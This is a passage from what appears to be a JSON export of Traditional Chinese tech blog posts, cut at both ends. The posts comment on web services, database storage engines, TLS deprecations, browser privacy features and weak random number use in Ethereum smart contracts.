/>\r\n\r\n馬上可以想到的應用是需要保留資訊內容，但又想要大量提供資訊的地方，像是 <a href=\"http://nuzzel.com/\">Nuzzle</a> 的縮圖 (或是以前的 <a href=\"https://en.wikipedia.org/wiki/Zite\">Zite</a>)，或是網路新聞媒體的首頁所用的縮圖。不知道還有沒有其他地方可以用...",
    "title": "Seam Carving (接縫裁剪)"
  },
  {
    "id": "8099",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的專案，拿 <a href=\"https://ipfs.io/\">IPFS</a> 來放 Status Page 真的超適合的，靜態為主，然後又可以避開 SPoF：「<a href=\"https://www.dstatuspage.net/\">Decentralized StatusPage</a>」。程式碼放在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/paulogr/dstatuspage\">paulogr/dstatuspage</a>，以 JavaScript 撰寫。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也蠻有趣的：「<a href=\"https://news.ycombinator.com/item?id=16273609\">Show HN: A Decentralized StatusPage on IPFS | Hacker News</a>」。\r\n\r\nIPFS 提供的特性與 Status Page 需要的特性其實還蠻契合的，也許不是 killer application，但應該會是個 IPFS 的出發點...\r\n\r\n而且最近 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 在他們的 blog 上發表了 Firefox 59 會將一些分散式協定加進去 (不是實做，而是提供接口)：「<a href=\"https://blog.mozilla.org/addons/2018/01/26/extensions-firefox-59/\">Extensions in Firefox 59</a>」(參考 Support for Decentralization Protocols 這段)，這感覺讓 IPFS 之類的協定有更寬廣的舞台...",
    "title": "用 IPFS 放 Status Page"
  },
  {
    "id": "8100",
    "body": "在先前的「<a href=\"https://blog.gslin.org/archives/2017/11/15/7772/twitter-%E8%A6%81%E6%8E%A8%E5%87%BA-premium-api/\">Twitter 要推出 Premium API</a>」這篇文章裡有提到 <a href=\"https://twitter.com/\">Twitter</a> 打算在 Standard 與 Enterprise 兩個層級中間推出 Premium API，算是補產品線的概念，提供 Startup 有中間階段的服務可以使用。\r\n\r\n而在昨天，Twitter 推出了 Full-archive search API：「<a href=\"https://blog.twitter.com/developer/en_us/topics/tools/2018/access-the-full-history-of-tweets.html\">Introducing the premium full-archive search endpoint</a>」，從 Rate limit 就可以看出來對 Enterprise 不夠用，但對 Startup 應該有機會使用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/E2CY057.webp\" /><img src=\"https://i.gslin.com/imgur/E2CY057.jpg\" alt=\"\" /></picture>\r\n\r\n台灣用 Twitter 的量偏低，也許對專注在台灣的應用來說還好，但對國外的單位來說應該是多了不少變化可以玩...",
    "title": "Twitter 推出 Full-archive search API"
  },
  {
    "id": "8101",
    "body": "<a href=\"https://telegram.org/\">Telegram</a> 推出新的 client，叫做 Telegram X：「<a href=\"https://telegram.org/blog/telegram-x\">Telegram X: Progress through Competition</a>」。\r\n\r\n全新打造：\r\n\r\n<blockquote>The Telegram X project features apps written from scratch, with an entirely new code base and without all the legacy components that our older apps have accumulated through the years.</blockquote>\r\n\r\n然後包括 <a href=\"https://www.apple.com/ios/\">iOS</a> 版本與 <a href=\"https://www.android.com/\">Android</a> 版本都有對應的版本：\r\n\r\n<blockquote>The goal of Telegram X is to reinvent Telegram and explore new frontiers in speed, ease of use, quality of animations and all other aspects. Today we are glad to present two new official apps – Telegram X for Android and iOS.</blockquote>\r\n\r\n就裝起來玩看看，不知道實際的感覺會有什麼差異...",
    "title": "Telegram 推出新的 Client：Telegram X"
  },
  {
    "id": "8102",
    "body": "去年 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈了 <a href=\"https://www.cloudflare.com/products/cloudflare-workers/\">Cloudflare Worker</a>，讓使用者可以在 Edge 端跑 JavaScript (參考「<a href=\"https://blog.gslin.org/archives/2017/09/30/7598/cloudflare-%E4%B9%9F%E8%83%BD%E5%9C%A8%E5%90%84%E7%AB%AF%E9%BB%9E%E8%B7%91-javascript-%E4%BA%86/\">Cloudflare 也能在各端點跑 JavaScript 了</a>」)，也就是可以在 Cloudflare 節點上面對 HTTP request 與 HTTP response 做更多事情，類似於 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/lambda/edge/\">Lambda@Edge</a>。\r\n\r\n不過去年公佈的當時需要申請才有機會用，算是 Private Beta。現在則是開放讓大家玩 (Open Beta) 讓大家幫忙測試了：「<a href=\"https://blog.cloudflare.com/cloudflare-workers-is-now-on-open-beta/\">Cloudflare Workers is now on Open Beta</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DKgN7Q6.webp\" /><img src=\"https://i.gslin.com/imgur/DKgN7Q6.jpg\" alt=\"\" /></picture>\r\n\r\n文件在「<a href=\"https://developers.cloudflare.com/workers/\">Cloudflare Workers Docs</a>」這邊可以取得，就如同去年 Cloudflare 所提到的，程式的撰寫上是透過 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API\">Service Worker</a> 的界面，這樣就不用再學一套：\r\n\r\n<blockquote>Cloudflare Workers are modeled on the Service Workers available in modern web browsers, and use the same API whenever possible.</blockquote>\r\n\r\n現階段 Cloudflare Worker 是免費的，看起來是用這段時間的用量與用法來看要怎麼設計收費機制：\r\n\r\n<blockquote>Cloudflare Workers is completely free during the open beta. We do intend on charging for Workers, but we will notify you of our plans at least thirty days before any changes are made.</blockquote>",
    "title": "Cloudflare Worker 進入 Open Beta 讓大家玩了..."
  },
  {
    "id": "8103",
    "body": "<a href=\"https://stripe.com/\">Stripe</a> 宣佈了今年的 2/19 會停用測試環境的 TLS 1.0/1.1，並且在 6/13 全面停用：「<a href=\"https://stripe.com/blog/completing-tls-upgrade\">Completing an upgrade to TLS 1.2</a>」。\r\n\r\n<blockquote><ul>\r\n\t<li>Monday, February 19: All servers using older versions of TLS will be blocked from the Stripe API in test mode.</li>\r\n\t<li>Wednesday, June 13: All servers using older versions of TLS will be blocked from the Stripe API in live mode.</li></ul></blockquote>\r\n\r\n這喊好久了，總算是開槍了...\r\n\r\n隔壁棚 <a href=\"https://www.paypal.com/\">PayPal</a> 反而早就把 Sandbox 環境上 TLS 1.2-only 了，而六月底也會強制所有連線都必須是 TLS 1.2：「<a href=\"https://www.paypal.com/webapps/mpp/tls-http-upgrade\">TLS 1.2 and HTTP/1.1 Upgrade - PayPal</a>」。",
    "title": "Stripe 宣佈 TLS 1.0/1.1 的退場時間表"
  },
  {
    "id": "8104",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Chrome_V8\">V8</a> version 6.5 將會有不少改變：「<a href=\"https://v8project.blogspot.com/2018/02/v8-release-65.html\">V8 release v6.5</a>」。\r\n\r\n其中因為 <a href=\"https://spectreattack.com/\">Spectre</a> 的關係，新的 V8 設計了 Untrusted code mode，拿來跑不信任的程式，裡面會設計反制措施。而且這在新版的 <a href=\"https://www.google.com/chrome/\">Chrome</a> 將會預設開啟：\r\n\r\n<blockquote>In response to the latest speculative side-channel attack called Spectre, V8 introduced an untrusted code mode. If you embed V8, consider leveraging this mode in case your application processes user-generated, not-trustworthy code. Please note that the mode is enabled by default, including in Chrome.</blockquote>\r\n\r\n另外是針對 <a href=\"http://webassembly.org/\">WebAssembly</a> 提供邊下載邊 compile 的能力，這讓速度大幅提昇。在原文是拿一個比較大包的 WebAssembly 來測試：\r\n\r\n<blockquote>For the graph below we measure the time it takes to download and compile a WebAssembly module with 67 MB and about 190,000 functions. We do the measurements with 25 Mbit/sec, 50 Mbit/sec, and 100 Mbit/sec download speed.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jaDVltw.webp\" /><img src=\"https://i.gslin.com/imgur/jaDVltw.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到網路不夠快的使用者就會直接被 compile 速度跟上，讓瀏覽器在下載時就做一些事情。\r\n\r\n另外在某些情況下對 <code>Array</code> 的操作會有大幅改善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Kjz8Wnh.webp\" /><img src=\"https://i.gslin.com/imgur/Kjz8Wnh.jpg\" alt=\"\" /></picture>\r\n\r\n這些新功能與改善都會在 Chrome 65 推出。依照「<a href=\"https://www.chromestatus.com/features/schedule\">Chrome Platform Status</a>」這邊的資料，stable 版預定在三月初，beta 版應該是要出了... (雖然上面寫著 2/1，但目前好像還沒更新)",
    "title": "V8 version 6.5 (Chrome 65) 的改變"
  },
  {
    "id": "8107",
    "body": "先前有提到 <a href=\"https://github.com/\">GitHub</a> 廢除 SSH 中的弱演算法 (參考「<a href=\"https://blog.gslin.org/archives/2017/09/19/7565/github-%E6%98%8E%E5%B9%B4%E9%97%9C%E9%96%89-ssh-%E4%B8%8A-sha1-%E7%9B%B8%E9%97%9C%E7%9A%84-kx-key-exchange-%E6%BC%94%E7%AE%97%E6%B3%95/\">GitHub 明年關閉 SSH 上 SHA1 相關的 Kx (Key Exchange) 演算法</a>」)，現在宣佈詳細作法了：「<a href=\"https://githubengineering.com/crypto-removal-notice/\">Weak cryptographic standards removal notice</a>」。\r\n\r\n包括 HTTPS 的 TLSv1/TLSv1.1 以及 SSH 的 diffie-hellman-group1-sha1/diffie-hellman-group14-sha1 都會被廢止。而作法跟其他家不太一樣：\r\n\r\n<ul>\r\n\t<li>February 8, 2018 19:00 UTC (11:00 am PST): Disable deprecated algorithms for one hour</li>\r\n\t<li>February 22, 2018 19:00 UTC (11:00 am PST): Permanently disable deprecated algorithms</li>\r\n</ul>\r\n\r\n先關閉一個小時讓沒看公告但是有注意到的人可以發現，然後過兩個禮拜後才完全關閉。跟其他家不太一樣的作法...",
    "title": "GitHub 停用過時加密演算法的計畫"
  },
  {
    "id": "8109",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 從 59 之後，在開啟 Private Browsing 的情況下，不會送出完整的 <code>Referer</code>：「<a href=\"https://blog.mozilla.org/security/2018/01/31/preventing-data-leaks-by-stripping-path-information-in-http-referrers/\">Preventing data leaks by stripping path information in HTTP Referrers</a>」。\r\n\r\n這篇吸引到我的是 <a href=\"https://www.eff.org/\">EFF</a> 的研究員發現的事情：\r\n\r\n<blockquote>EFF researchers discovered this leak of personal health data from healthcare.gov to DoubleClick.</blockquote>\r\n\r\n其中 EFF 研究員的文章是「<a href=\"https://www.eff.org/deeplinks/2015/01/healthcare.gov-sends-personal-data\">HealthCare.gov Sends Personal Data to Dozens of Tracking Websites</a>」這篇。\r\n\r\n更好的作法應該是平常就完全阻擋，像是 Firefox 可以用 <a href=\"https://addons.mozilla.org/firefox/addon/referrer-control/\">Referrer Control</a> 設定，或是 <a href=\"https://www.google.com/chrome/\">Chrome</a> 裡用 <a href=\"https://chrome.google.com/webstore/detail/referer-control/hnkcfpcejkafcihlgbojoidoihckciin\">Referer Control</a> 設定。",
    "title": "Firefox 對 HTTPS 網站中 \"Referer\" 的保護"
  },
  {
    "id": "8111",
    "body": "看到「<a href=\"http://blog.dustinkirkland.com/2018/02/rfc-ubuntu-1804-lts-minimal-images.html\">RFC: Ubuntu 18.04 LTS Minimal Images</a>」這篇，在蒐集將來要出的 Ubuntu 18.04 LTS Minimal Image 的意見...\r\n\r\n<blockquote>The Ubuntu Minimal Image is the smallest base upon which a user can apt install any package in the Ubuntu archive.</blockquote>\r\n\r\n雖然應該還會有改變，不過以目前的版本來看，可以看出壓縮前後兩種版本都比 16.04 小了不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lsipPfY.webp\" /><img src=\"https://i.gslin.com/imgur/lsipPfY.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lIAtYjz.webp\" /><img src=\"https://i.gslin.com/imgur/lIAtYjz.jpg\" alt=\"\" /></picture>\r\n\r\n對需要這些 image 的人來說 (像是當作 <a href=\"https://www.docker.com/\">Docker</a> 的 base image)，小一點操作起來也比較開心...",
    "title": "Ubuntu 18.04 LTS Minimal Image 的大小"
  },
  {
    "id": "8112",
    "body": "前天被問到「<a href=\"https://rhaas.blogspot.com/2018/01/do-or-undo-there-is-no-vacuum.html\">DO or UNDO - there is no VACUUM</a>」這篇，回家後仔細看一看再翻了一些資料，看起來是要往 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 的解法靠...\r\n\r\n<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 與 InnoDB 都是透過 <a href=\"https://en.wikipedia.org/wiki/Multiversion_concurrency_control\">MVCC</a> 的概念實做 transaction 之間的互動，但兩者實際的作法不太一樣。其中帶來一個明顯的差異就是 PostgreSQL 需要 <a href=\"https://www.postgresql.org/docs/current/static/sql-vacuum.html\">VACUUM</a>。這點在同一篇作者八年前 (2011) 的文章就有提過兩者的差異以及優缺點：「<a href=\"https://rhaas.blogspot.com/2011/02/mysql-vs-postgresql-part-2-vacuum-vs.html\">MySQL vs. PostgreSQL, Part 2: VACUUM vs. Purge</a>」。\r\n\r\n當 <code>UPDATE</code> 時，InnoDB 會把新資料寫到表格內，然後把可能會被 rollback 的舊資料放到表格外：\r\n\r\n<blockquote>In InnoDB, only the most recent version of an updated row is retained in the table itself.  Old versions of updated rows are moved to the rollback segment, while deleted row versions are left in place and marked for future cleanup.  Thus, purge must get rid of any deleted rows from the table itself, and clear out any old versions of updated rows from the rollback segment.</blockquote>\r\n\r\n而被 <code>DELETE</code> 清除的資料則是由 purge thread 處理：\r\n\r\n<blockquote>All the information necessary to find the deleted records that might need to be purged is also written to the rollback segment, so it's quite easy to find the rows that need to be cleaned out; and the old versions of the updated records are all in the rollback segment itself, so those are easy to find, too.</blockquote>\r\n\r\n所以可以在 InnoDB 看到 purge thread 相關的設定：「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/innodb-improved-purge-scheduling.html\">MySQL :: MySQL 5.7 Reference Manual :: 14.6.11 Configuring InnoDB Purge Scheduling</a>」，負責處理這些東西。\r\n\r\n而在 PostgreSQL 的作法則是反過來，舊的資料放在原來地方，新資料另外存：\r\n\r\n<blockquote>PostgreSQL takes a completely different approach.  There is no rollback tablespace, or anything similar.  When a row is updated, the old version is left in place; the new version is simply written into the table along with it.</blockquote>\r\n\r\n新舊資料的位置其實還好，主要是因為沒有類似的地方可以記錄哪些要清：\r\n\r\n<blockquote>Lacking a centralized record of what must be purged, PostgreSQL's VACUUM has historically needed to scan the entire table to look for records that might require cleanup.</blockquote>\r\n\r\n這也使得 PostgreSQL 裡需要 <a href=\"https://www.postgresql.org/docs/current/static/runtime-config-autovacuum.html\">autovacuum</a> 之類的程序去掃，或是手動跑 vacuum。而在去年 (2017) 的文章裡也有提到目前還是類似的情況：「<a href=\"https://rhaas.blogspot.com/2017/12/mvcc-and-vacuum.html\">MVCC and VACUUM</a>」。\r\n\r\n而在今年 (2018) 的文章裡，<a href=\"https://www.enterprisedb.com/\">EnterpriseDB</a> 就提出了 zheap 的想法，在 <code>UPDATE</code> 時寫到 table 裡，把可能被 rollback 的資料放到 undo log 裡。其實就是把 InnoDB 那套方法拿過來用，只是整篇都沒提到而已 XD：\r\n\r\n<blockquote>That brings me to the design which EnterpriseDB is proposing. We are working to build a new table storage format for PostgreSQL, which we’re calling zheap. In a zheap, whenever possible, we handle an UPDATE by moving the old row version to an undo log, and putting the new row version in the place previously occupied by the old one. If the transaction aborts, we retrieve the old row version from undo and put it back in the original location; if a concurrent transaction needs to see the old row version, it can find it in undo. Of course, this doesn’t work when the block is full and the row is getting wider, and there are some other problem cases as well, but it covers many useful cases. In the typical case, therefore, even bulk updates do not force a zheap to grow. Instead, the undo grows. When a transaction commits, all row versions that will become dead are in the undo, not the zheap.</blockquote>\r\n\r\n不過馬上就會想到問題，如果要改善問題，不是個找地方記錄哪些位置要回收就好了嗎？順便改變方法是為了避免 fragment 嗎？\r\n\r\n等著看之後變成什麼樣子吧...",
    "title": "EnterpriseDB 打算推出的 zheap，想要解 VACUUM 問題..."
  },
  {
    "id": "8113",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了 <a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora (MySQL)</a> 支援 Parallel Query：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/amazon-aurora-parallel-query-is-available-for-preview/\">Amazon Aurora Parallel Query is Available for Preview</a>」。\r\n\r\n這邊提到的 Parallel Query 比較像是 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a>，直接把單一 Query 打散到多台機器上跑：\r\n\r\n<blockquote>Amazon Aurora Parallel Query improves the performance of large analytic queries by pushing processing down to the Aurora storage layer, spreading processing across hundreds of nodes.</blockquote>\r\n\r\n也就是說，這算是單一 SQL Query 平行運算的進階版本。\r\n\r\n在這之前，AWS 都已經支援單一 Query 在單台機器上利用多 CPU 平行運算。其中 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 是 9.6+ 本身就有支援。Amazon Aurora (MySQL) 則是在 2016 時透過 Parallel Read Ahead 支援某些情境下的的單一 Query 多 CPU 運算了 (發現之前沒寫到...)：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-aurora-update-parallel-read-ahead-faster-indexing-numa-awareness/\">Amazon Aurora Update – Parallel Read Ahead, Faster Indexing, NUMA Awareness</a>」。\r\n\r\n這個功能目前是 Preview 階段，然後開在這些地區讓大家測試使用：\r\n\r\n<blockquote>The preview is available for the MySQL-compatible edition of Amazon Aurora, and is currently available in the US East (N. Virginia), US East (Ohio), US West (Oregon), and Europe (Ireland) Regions. Sign up to get access.</blockquote>\r\n\r\n這個功能提供了想要提昇效能，但懶得改架構的人可以用錢直接硬換出來...",
    "title": "Amazon Aurora (MySQL) 提供 Parallel Query 讓人申請使用"
  },
  {
    "id": "8114",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=tyan-c3950-s3227\">Intel Atom C3950 + Tyan Tempest S3227</a>」這篇文章，裡面提到了「<a href=\"https://ark.intel.com/products/97940/Intel-Atom-Processor-C3950-16M-Cache-up-to-2_20-GHz\">Intel Atom&#174; Processor C3950 (16M Cache, up to 2.20 GHz) Product Specifications</a>」這顆 CPU...\r\n\r\n建議售價 USD$389，然後 16 Cores (沒有 HT，所以是 16 Threads) 只吃 24W，可以吃到 256GB RAM，不過 Max CPU Configuration 是 1，先記起來好了...",
    "title": "Twitter 上看到 Intel Atom C3950 這顆 CPU..."
  },
  {
    "id": "8116",
    "body": "現代密碼學的安全性有很大一塊是基於亂數產生器 (RNG) 非常難被預測。如果這個前提不成立的話，利用亂數產生器產生出來的各種資訊都會被預測出來 (尤其是 Private Key)。\r\n\r\n但真正的 RNG 需要靠硬體支援，而且產生速度很慢，一般都會使用 PRNG (<a href=\"https://en.wikipedia.org/wiki/Pseudorandom_number_generator\">Pseudorandom number generator</a>) 產生。也就是「看起來」很亂的亂數產生器。\r\n\r\nPRNG 通常是指在統計學上通過許多測試，像是在多種測試都是 <a href=\"https://en.wikipedia.org/wiki/Discrete_uniform_distribution\">Discrete uniform distribution</a>，不需要防止有惡意人，可以從產生出的 PRNG 的值而推導出後續結果的用途。\r\n\r\n在「<a href=\"https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620\">Predicting Random Numbers in Ethereum Smart Contracts</a>」這篇裡面，作者列出了一堆實做 Ethereum Smart Contracts 卻誤用 PRNG 的行為。\r\n\r\n文章裡提到的問題都是因為 PRNG 拿著可被預測的資訊當作 entropy source (e.g. seed)，而且提出來的範例都是拿 block 本身或衍生的資訊 (像是 block 的 hash) 來用：\r\n\r\n<ul>\r\n\t<li>PRNGs using block variables as a source of entropy</li>\r\n\t<li>PRNGs based on a blockhash of some past block</li>\r\n\t<li>PRNGs based on a blockhash of a past block combined with a seed deemed private</li>\r\n\t<li>PRNGs prone to front-running</li>\r\n</ul>\r\n\r\n然後列了大量的程式碼當例子，建議有需要接觸的人看過一次，或是有時間的人都值得看這些負面範例... XDDD\r\n\r\n不過作者在文章裡面也給了一堆有問題的方法，像是從外部網站取得亂數之類的 XDDD\r\n\r\n正確的方法是使用 CSPRNG (<a href=\"https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator\">Cryptographically secure pseudorandom number generator</a>)，這是專門設計給密碼學用的 PRNG。\r\n\r\nCSPRNG 有幾種方法可以取得：\r\n\r\n<ul>\r\n\t<li>在大多數的程式語言內都有對應的 library 可以用，另外在比較近代的瀏覽器內 (如果問 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer\">IE</a> 的話，是 11+)，可以透過 <a href=\"https://developer.mozilla.org/docs/Web/API/RandomSource/getRandomValues\">RandomSource.getRandomValues()</a> 得到。</li>\r\n\t<li>如果打算自己搞底層而需要直接取得 CSPRNG 的產出，在 Unix-like 的環境下可以透過 <a href=\"https://en.wikipedia.org/wiki//dev/urandom\"><code>/dev/urandom</code></a> 取得，在 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Microsoft Windows</a> 下則可以透過 <a href=\"https://en.wikipedia.org/wiki/CryptGenRandom\">CryptGenRandom</a> 取得。</li>\r\n</ul>\r\n\r\n別學作者那邊奇怪方法啊 XDDD",
    "title": "Ethereum Smart Contracts 裡的 PRNG"
  },
  {
    "id": "8117",
    "body": "看到「<a href=\"https://datatracker.ietf.org/doc/draft-barnes-mls-protocol/\">The Messaging Layer Security (MLS) Protocol</a>」這個被提出來的標準，還在討論中...\r\n\r\n簡介就說明了這個標準除了標準的 E2E 外，還設計了有效率的 Group 機制：\r\n\r\n<blockquote>Messaging applications are increasingly making use of end-to-end security mechanisms to ensure that messages are only accessible to the communicating endpoints, and not to any servers involved in delivering messages.  Establishing keys to provide such protections is challenging for group chat settings, in which more than two participants need to agree on a key but may not be online at the same time.  In this document, we specify a key establishment protocol that provides efficient asynchronous group key establishment with forward secrecy and post-compromise security for groups in size ranging from two to thousands.</blockquote>\r\n\r\n要設計機制的人可以拿來翻翻看...",
    "title": "End-to-End Encryption 的標準？"
  },
  {
    "id": "8119",
    "body": "<strong>Update</strong>：被 comment 提醒，找了一下資料，看起來有段歷史了，所以說 RetDec 的影響就未必是這樣了。下面的文章內容就不修正了...：「<a href=\"https://web.archive.org/web/20111009003557/https://www.hex-rays.com/products/ida/support/download_freeware.shtml\">IDA Support: Evaluation Version</a>」。\r\n\r\n<a href=\"https://www.hex-rays.com/products/ida/index.shtml\">IDA</a> 居然也提供免費版了，雖然是比較舊的版本，而且不提供技術支援：「<a href=\"https://www.hex-rays.com/products/ida/support/download_freeware.shtml\">IDA Support: Freeware Version</a>」。IDA 是個可以反組譯以及當 debugger 的工具：\r\n\r\n<blockquote>IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all. Just grab an evaluation version if you want a test drive.</blockquote>\r\n\r\n我猜是 <a href=\"https://www.avast.com/\">Avast</a> 放出 MIT 授權版本的 <a href=\"https://retdec.com/\">RetDec</a> 的關係 (參考「<a href=\"https://blog.gslin.org/archives/2017/12/14/7926/avast-%E6%94%BE%E5%87%BA%E4%BB%96%E5%80%91%E7%9A%84-decompiler%EF%BC%8Cretdec/\">Avast 放出他們的 Decompiler，RetDec</a>」這篇)，導致 IDA 這邊要做一些動作推廣試用...\r\n\r\n不過我覺得有了 open source 的工具後，會看到 open source 工具慢慢成長...",
    "title": "IDA 免費版"
  },
  {
    "id": "8120",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 照慣例發表了 2017Q4 與 2017 全年的硬碟報告出來了：「<a href=\"https://www.backblaze.com/blog/hard-drive-stats-for-2017/\">Backblaze Hard Drive Stats for 2017</a>」。\r\n\r\n最重要就這三張圖表，第一張是 2017Q4 資料，第二張是從 2013/04 到 2017/12 的資料，第三張是這三年的資料 (2015/2016/2017)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/gBu1vhf.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/uLBgGYu.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/1FzrhXr.jpg\" alt=\"\" />\r\n\r\n我先說一下結論，因為這幾年幾乎都只採購 <a href=\"https://www.seagate.com/\">Seagate</a> 與 <a href=\"https://www.hgst.com/\">HGST</a> 的硬碟，所以要用他們的資料判斷 <a href=\"https://www.wdc.com/\">WD</a> 或 <a href=\"http://www.toshibastorage.com/\">Toshiba</a> 的硬碟已經沒有價值了。\r\n\r\n唯一有價值的資料是 HGST 的硬碟比 Seagate 好不少，要做出其他結論的樣本數都不夠。",
    "title": "Backblaze 的 2017 年硬碟年度報告"
  },
  {
    "id": "8122",
    "body": "<a href=\"https://en.wikipedia.org/wiki/TL;DR\">tl;dr</a>：我把 <a href=\"https://twitter.com/\">Twitter</a> 當暫存區，把手機上看到的連結丟到 Twitter 後再用桌機打開來看，所以有很多連結我雖然轉發，但未必看過。\r\n\r\n我習慣在通勤或是睡前刷一下手機，看一下各類媒體有什麼資訊 (參考「<a href=\"https://blog.gslin.org/archives/2017/11/16/7776/%E7%82%BA%E4%BB%80%E9%BA%BC%E6%88%91%E9%82%84%E7%B9%BC%E7%BA%8C%E7%94%A8-rss-feed/\">為什麼我還繼續用 RSS (Feed)</a>」這邊，是我找「未知的來源」的一部分)，但這麼一來會遇到幾個問題：\r\n\r\n<ul>\r\n\t<li>時間很零散，或是不長，所以有些文章我會看標題就先找個地方丟出來。</li>\r\n\t<li>手機上的廣告阻擋機制不太好，桌機的阻擋機制強大許多。</li>\r\n</ul>\r\n\r\n前陣子有些朋友問到為什麼 Twitter 上會有些明顯跟我的意見不同的 tweet，原因就是這樣啦...",
    "title": "關於我在 Twitter 上貼的連結... (像是 Retweet，或是透過 Nuzzle/Pocket 貼的連結)"
  },
  {
    "id": "8125",
    "body": "看到「<a href=\"https://www.percona.com/blog/2018/02/01/myrocks-engine-things-know-start/\">MyRocks Engine: Things to Know Before You Start</a>」這篇，才發現原來一月的時候 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 就已經將 <a href=\"http://myrocks.io/\">MyRocks</a> GA (General Availability) 了：「<a href=\"https://www.percona.com/blog/2018/01/08/percona-server-mysql-5-7-20-19-now-available/\">Percona Server for MySQL 5.7.20-19 Is Now Available</a>」。\r\n\r\n<blockquote>New Features:\r\nNow MyRocks Storage Engine has General Availability status.</blockquote>\r\n\r\n在二月這篇文章裡面有提到一些重點，像是安裝方式：\r\n\r\n<blockquote>Now if you use Percona repositories, you can simply install MyRocks plugin and enable it with ps-admin --enable-rocksdb.</blockquote>\r\n\r\n另外文章裡也提到了重要的差異 (在「What other differences should you be aware of?」這段)，像是他並不是每個 table 都一個檔案，而是像早期 InnoDB 的作法，整個一包：\r\n\r\n<blockquote>Let’s look at the directory layout. Right now, all tables and all databases are stored in a hidden .rocksdb directory inside mysqldir. The name and location can be changed, but still all tables from all databases are stored in just a series of .sst files. There is no per-table / per-database separation.</blockquote>\r\n\r\n另外提到可以看到 Engine 的代碼是 <code>ROCKSDB</code> (從 <code>ENGINE=ROCKSDB</code> 那段看到的)。然後是 Isolation level 的支援度，只有 <code>READ-COMMITTED</code> 與 <code>SERIALIZABLE</code>，沒有 <code>REPEATABLE-READ</code>：\r\n\r\n<blockquote>Keep in mind that at this time MyRocks supports only READ-COMMITTED and SERIALIZABLE isolation levels. There is no REPEATABLE-READ isolation level and no gap locking like in InnoDB. In theory, RocksDB should support SNAPSHOT isolation level. However, there is no notion of SNAPSHOT isolation in MySQL so we have not implemented the special syntax to support this level. Please let us know if you would be interested in this.</blockquote>\r\n\r\n然後 bulk load 在資料量超過記憶體大小時會有已知的 crash 問題：\r\n\r\n<blockquote>For bulk loads, you may face problems trying to load large amounts of data into MyRocks (and unfortunately this might be the very first operation when you start playing with MyRocks as you try to LOAD DATA, INSERT INTO myrocks_table SELECT * FROM innodb_table or ALTER TABLE innodb_table ENGINE=ROCKSDB). If your table is big enough and you do not have enough memory, RocksDB crashes. As a workaround, you should set rocksdb_bulk_load=1 for the session where you load data.</blockquote>\r\n\r\n然後目前沒有像 <a href=\"https://www.percona.com/software/mysql-database/percona-xtrabackup\">XtraBackup</a> 的工具可以用，現階段如果要備份的話得透過傳統的方式來做 (mysqldump 或是 filesystem snapshot)：\r\n\r\n<blockquote>Right now there is no hot backup software like Percona XtraBackup to perform a hot backup of MyRocks tables (we are looking into this). At this time you can use mysqldump for logical backups, or use filesystem-level snapshots like LVM or ZFS.</blockquote>\r\n\r\n想來找機會測試看看兩者差異...",
    "title": "Percona Server 引入 MyRocks"
  },
  {
    "id": "8126",
    "body": "Switch Role 讓你可以在兩個 AWS 帳號間切換身份，可以參考「<a href=\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-console.html\">Switching to a Role (AWS Management Console)</a>」這邊的說明。而剛剛看到這則 tweet，直接拆解 <a href=\"https://aws.amazon.com/\">AWS</a> 中 Switch Role 的連結，其實也就是文件裡面寫的 Tip：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I use browser bookmarks to switch between different cross-account IAM assumed roles in the AWS console.<br><br>Here&#39;s the URL format (remove space between slashes):<br><br>https:/ /signin.aws.amazon.com/switchrole?account=012345678901&amp;roleName=admin&amp;displayName=tag-admin</p>&mdash; Eric Hammond (@esh) <a href=\"https://twitter.com/esh/status/960988343633723392?ref_src=twsrc%5Etfw\">February 6, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外有 tweet 的 reply 有提到還可以加上顏色：\r\n\r\n<blockquote 